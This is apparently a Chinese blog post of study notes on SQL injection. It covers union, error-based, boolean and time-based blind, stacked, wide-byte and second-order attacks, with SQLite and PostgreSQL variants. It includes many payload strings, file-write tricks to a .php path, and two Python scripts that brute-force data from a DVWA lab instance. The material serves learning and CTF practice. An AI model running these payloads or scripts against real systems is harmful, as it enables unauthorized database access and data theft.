02-WEB-SQL注入

SQL注入

sql注入的类型(按回显方式划分)

有回显

​ 联合查询:构造联合查询语句,直接查看查询结果

​ 报错注入:构造报错语句,在报错中查看

​ 堆查询:多行语句执行,进而实现想要到达的目的

无回显

​ 盲注:布尔型/时间型 通过某种手段爆破结果


1.联合查询注入

​ 在原始SQL查询中注入union等操作符,将其他语句附加到原始查询之后。如:应用程序拼接sql、闭合原有语句、注入union操作符、注释后续内容等。


联合注入的一般步骤为:

1判断注入点及注入类型(数字型or字符型)

​ 找到存在sql注入漏洞的输入点,确定注入点在sql查询的上下文环境:被当做数字or被引号包裹的字符串使用

​ mysql在查询某一个字符串的时候,遇到第一个符号就会停止搜索,只会取第一个符号之前的内容,并且正常显示,如果查询条件为数字,那么遇到符号就会报错了

​ 如果我们在确定这是字符型注入的时候,使用双引号如果引发了报错,说明就是双引号的字符型

​ 如:1' or 1=1 #,若只有一个,则为双引号字符型,若有很多个,则是单引号字符型,若没有,则为数字型

2判断字段数

​ 确定原始查询select语句返回多少列数据,因为union select必须要返回相同数量的列

​ 如:1' order by n,n从1开始取,n++,直到报错,则有n-1列。利用order by n对第n列进行排序的原理。

3判断回显位

​ 确定原始查询结果在web页面中的那个位置显示出来,之后在对应位置写pyload

​ 如:1' union select 1,2 # 观察1,2那个进行了输出,字段数是n,就select 1...n

4确定数据库名,表名,字段名

​ 获取当前正在使用的数据库名、表名、字段名

​ 如:获取数据库名 1' union select 1,database() #

​ 获取表名 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # ,group_concat()将内容由列转为行,作为一个进行输出,nformation_schema是信息数据库,保存着数据库名、数据库的表等,本质上是一个视图,不是基本表

​ 获取字段名 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='所要查询的表'

5查询数据

​ 如:1' or 1=1 union select group_concat(列1,列2) from users #


当group_concat()被过滤时,可以使用limit,如:select * from a limit n,m,n为在那一行开始显示(起始行为第0行),m为显示多少行

2.文件操作、堆叠注入、宽字节注入

sql文件操作:

​ show vatiables (like "a%") 查看系统变量

​ secure_file_priv变量:null为不允许导入导出,/temp/只能导入导出此文件夹下的,没有值时表示没有对导入导出做限制

​ select load_file('/文件目录') 读文件

​ select ''内容' into outfile/dumpfile "路径/1.php" 写文件


堆叠注入:

​ ";"为MYSQL语句的结束符。若在支持多语句执行的情况下,可利用此方法执行其他语句,如rename、drop等。堆叠注入可以执行任何sql语句

​ 条件:$mysqli->multi_query($sql); web程序和后端支持多条语句时


宽字节注入:

​ 宽字节就是两个以上的字节,宽字节注入产生的原因就是各种字符编码的不当操作,从而可以通过宽字节编码绕过sql注入防御

​ 一个gbk编码汉字占2字节,一个utf-8编码汉字占3字节

​ 出现 $conn->query("set names 'gbk';");

例:用户输入 admin%df' or 1=1#

​ 转义后 admin%df\' or 1=1#

​ set character_set_client ='gbk'后 'admin呁'or 1=1#

​ 执行语句 ...where username='admin呁' or 1=1 #'


select绕过:

hander语句,一行一行的浏览表中的数据

​ 例:handler AAA open as BBB

​ handler BBB read first

​ handler BBB read next

​ handler BBB close

rename语句

​ 例:alter table 旧表名 rename to 新表名;
​ alter table 表名 change 旧列名 新列名 数据类型;#

prepaer语句

​ 例:1';prepare st form concat('s','elect','* from ...');excute st;#

3.布尔盲注

布尔盲注是利用返回查询是否成功,不断尝试爆破出结果来。两大基本问题:字符串的截取,比较

如:

​ 123' or substr(select database(),i,1)='x'# i从1不断取值,x为任意字符


字符串截取

1.substr()、substring()

​ substr(str,pos,len) 截取str从pos位置开始,len个字符

2.right() ord() 同名函数

​ right(str,len) 截取str的倒数len位

​ 能用ascii码时尽量用ascii码,ascill('str')返回字符串的第一个字符的ascii码

​ select ascii(right('xxx',2))

​ left即正数前len位,select ascii(reverse(left('xxxx',3)))

3.trim()

​ trim()函数用于过滤制定的字符串,如移除收尾的空白

​ trim() 删除前后空格

​ rtrim() 删除字符串结尾空格

​ ltrim() 删除字符串起始空格

​ trim(both/leading/trailing 目标字符串 from 源字符串)

​ 利用:trim(leading from 'str') = trim(leading <i+1> from 'str')

​ 其中i为任意字符,i+1则为下一字符,通过相等判断,若相同则i和i+1不是首 字符,若不相同,则让i+1和i+2进行比较,若相同则i为首字符,不同则i+1为 首字符

4.insert()

​ insert(字符串,起始位置,长度,替换字符) 起始位置为1

​ 利用:

​ insert((insert(str,1,i,'')),2,99999,'') 可以取到第i+1(i从0开始取)位的单 个字符


比较

1.等于

​ substr(database(),1,1) = 'a'

2.大于小于

​ substr(database(),1,1) >'a'

3.like

​ 如果不使用%来表示任意字符,则like子句和=的效果是相同的

4.regexp/rlike正则表达式

​ select binary database() regexp/rlike "^ctf" binary是用来限制区分大小写

​ 用来返回database()是不是以'ctf'为开头的字符串

5.between

​ select 'a' between 'x' and 'y' 返回'a'是否在x、y之间

6.in

​ select 'a' in ('xxxxx','yyyyyy') in不区分大小写 可以加上 binary

7.and、&&、&

​ and、&&逻辑与运算符 &按位与运算

​ 1 and ascii(substr(database(),1,1))-i

​ 循环减i来判断,当值为false时,字符即为chr(i)

8.or、||、|

​ or、||等价 |按位与运算

​ 0 or ascii(substr(database(),1,1))-i

9.异或

​ xor 逻辑异或 ^按位异或

​ 用来解决无法使用注释符(#、‘-- ’)的情况下

​ where id = '1'(substr(database(),1,1)='a')'1'


bool盲注脚本-对应dvwa low

import requests
import string

url="http://192.168.188.55/vulnerabilities/sqli_blind/?id="
cookies={
    "PHPSESSID": "rdf2qffik499tn70em0s0ps645",
    "security": "low"
}
select ="select+database()" #dvwa
select ="select+group_concat(table_name)+from+information_schema.tables where table_schema=database()"
#guestbook
select ="select+group_concat(column_name)+from+information_schema.columns where table_name='guestbook'"
#comment_id
select ="select+group_concat(comment_id)+from+guestbook"
#1
result =""
for i in range(1,100):
    for ch in string.ascii_letters+string.digits+".:}{_":
        payload=f"123'+or+substr(({select}),{i},1)='{ch}'%23&Submit=Submit#"
        r=requests.get(url+payload,cookies=cookies)
        #print(url+payload)
        if "exists" in r.text:
            result+=ch
            print(result)
            break
        if ch=='_':
            exit(0)

4.报错盲注

利用可控的错误sql语句会回显到页面,来进一步判断爆破的对错

报错的sql语句:exp(1000)、cot(0)...

利用:exp(709)为真,exp(710)为假,exp(709+(判断语句))

​ if((判断语句),exp(1000),0)

5.时间盲注

没有任何回显,只能依据sleep时间来判断正确与否

利用if或case,若过滤,可以sleep(10*(判断语句))

当sleep被过滤掉时,可以使用benchmark()函数,可以重复执行某种操作

benchmark(10000000,sha1('flag'))

count(*) from information_schema.columns A,information_schema.columns B;

import requests 
url="http://192.168.188.55/vulnerabilities/sqli_blind/?id="
cookies={
"PHPSESSID": "h5vsi89hr1vn1v73hedt05rof5",
"security": "low"
}
result=""
for i in range(1,100):
    for j in range(33,128):
        select=f"ascii(substr((select+database()),{i},1))={j}"
        payload=f"1'+and+sleep(10*({select}))%23&Submit=Submit#"
        #print(url+payload)
        try:
            r=requests.get(url+payload,cookies=cookies,timeout=3)
        except:
            result+=chr(j) 
            print(result)
            break
        if j==127:
            exit(0)

6.报错注入

利用数据库的某些机制,人为的制造错误条件,使查询结果能出现在错误信息中

利用updatexml()函数参数的格式不对进行报错显示,updatexml(XML_document, XPath_string,new_value);通常在第二个参数填写所要查询的内容

例:updatexml(1,concat(0x7e,(搜查语句),0x7e),1),前后添加~使其不符合xpath格式而报错,若回显长度不够,可以用字符串分割,updatexml(1,concat(0x7e,(substr((搜查语句),30)),0x7e),1)

extractvalue()函数,没有第三个参数,其余和updatexml用法相同

uuid()函数,select uuid_to_bin((查询语句)) select bin_to_uuid((查询语句))

gtid()函数,') OR gtid_subset(concat(0x7e, (SELECT GROUP_CONCAT(user, ':', password) FROM manage), 0x7e), 1)

7.二次注入

payload会先被服务器存储在数据库中,在之后取出数据库再进行sql语句拼接是产生的sql注入问题

addslashes()函数,在单引号(')、双引号(")、反斜杠(\)和 NULL前添加反斜杠。当存储经addslashes()转义后的字符串时,没有反斜杠

8.约束攻击

SQL中执行字符串处理时,字符串末尾的空格符将会被删除

SQL都会根据varchar(n)来限制字符串的最大长度,如果字符串的长度大于“n”个字符的话,那么仅使用字符串的前“n”个字符。

insert语句:截取前20个字符 select语句;输入什么就是什么

9.无列名盲注


过滤in、or时,information_schema库就无法使用了,引入了sys库,但用起来会不全

查询所有的库

select table_schema from sys.schema_table_statistics group by table_schema;

select table_schema from sys.x$schema_flattened_keys group by table_schema;

查询指定库的表(若无则说明此表从未被访问)

select table_name from sys.schema_table_statistics where table_schema='库名' group by table_name;

select table_name from sys.x$schema_flattened_keys where table_schema='库名' group by table_name;

mysql库

select table_name from mysql.innodb_table_stats where database_name=database();

select table_name from mysql.innodb_index_stats where

database_name=database();


union重命名发

select a.2 from(select 1,2,3 union select * from users)a;

比较法

select(select '123','A','')<(select * from student limit 1) ~的ascii为126

10.SQLITE

SQlite是一个轻量化的数据库,不以分号; 结束。大部分语句相同,但也有些不同:

like子句

​ 通配符:%代表零个、一个或多个数字或字符,_代表单一数字或字符

glob子句

​ 对大小写敏感,*任意字符,?单一字符

注释符

​ 两种 /**/ ,-- 可以用于判断数据库类型,#不生效则不是mysql

查表名

​ sqlite_master表 存放着数据库中所有的表名 select * from sqlite_master

查列名

select sql from sqlite_master where type!='meta' and sql not null and name='表名'

字符串截取

​ substr() 、substring() 、like 、= 、> 、< 、in 、between和mysql差不多

​ trim(字符串,要移除的字符) 默认为空格

​ printf('%.ns','xxxxx') 截取n位

比较

​ glob运算符,用法和like、=相同

条件

​ case when X then Y else Z end 和mysql相同

​ 还可写作iff(x,y,z)

构造报错

​ randomblob(N) 返回N-byte blob randomblob(1000000000*(1=2))

时间盲注

​ select 123=like('abcdefg',upper(hex(randomblob([秒]00000000/2))))


mysql 8.0特性

​ select * from 'user'; = table 'user';

​ values row(1,2,3) 列出一行的值

11.PostgreSQL

是一个免费的对象-关系数据库,不是轻量化的,与mysql的区别:

|| ||表示字符串拼接,而在mysql中为逻辑或运算(or)

escape 定义转义符,select * from test where varchar like 'b_a%' escape 'b';

​ _表示任意一个字符,%表示任意字符(0、1、多),默认/为转义符

注释符 --为注释符,exp(999999)构造报错,可判断为postgreSQL,或延时盲 注,利用pg_sleep()

聚合函数 array_agg()变为数组 string_agg()变为字符串,无group_concat()函 数。string_agg(内容,间隔符)

延时 pg_sleep(5),延时5秒,返回为void,不是bool类型

​ select 1=(case when(1=1) then (select 1 from pg_sleep(3)) else 0 end); 或pg_sleep(5)||'b'


hatenum盲注题解

1.对于直接过滤 ' ,有唯一一种解决方案(前提是where子句有两个字符注入)

select * from users where username='username' and password='password'

​ 使用\进行转义,如

...where username='\' and password =' and 1=1 #'

​ 同样无法使用字符串,解决方法:char 0x+十六进制

2.大数绕过

​ 使用十六进制时存在非常大的数,但题目存在大数判断

​ hex(字符/数字) 将参数转为16进制

​ unhex(16进制) 将参数转为字符串

​ 利用十进制的科学计数法进行缩短长度

3.报错注入

where username='\' and password = ' or username='admin' && case({condition})when(0)then(cot(0))else(1)end#'
posted @ 2025-09-04 21:44  lieer  阅读(52)  评论(0)    收藏  举报